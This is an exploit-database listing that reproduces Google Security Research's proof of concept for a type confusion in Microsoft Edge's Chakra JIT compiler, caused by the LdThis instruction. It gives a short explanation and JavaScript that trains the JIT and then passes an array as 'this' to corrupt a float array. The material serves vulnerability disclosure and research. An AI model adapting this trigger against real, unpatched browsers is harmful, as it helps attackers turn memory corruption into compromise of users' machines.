Lucene search

K
zdtGoogle Security Research1337DAY-ID-29796
HistoryFeb 15, 2018 - 12:00 a.m.

Microsoft Edge Chakra JIT - LdThis Type Confusion Exploit

2018-02-1500:00:00
Google Security Research
0day.today
21

0.953 High

EPSS

Percentile

99.4%

Exploit for windows platform in category dos / poc

/*
LdThis instructions' value type is assumed to be "Object". Since "this" can be other objects like an array, it has to be assumed to be "LikelyObject", otherwise, operations to "this" will not be checked properly.
 
PoC:
*/
 
function opt(arr) {
    arr[0] = 1.1;
    this[0] = {};
    arr[0] = 2.3023e-320;
}
 
function main() {
    let arr = [1.1];
    for (let i = 0; i < 10000; i++) {
        opt.call({}, arr);
    }
 
    opt.call(arr, arr);
    print(arr);
}
 
main();

#  0day.today [2018-03-13]  #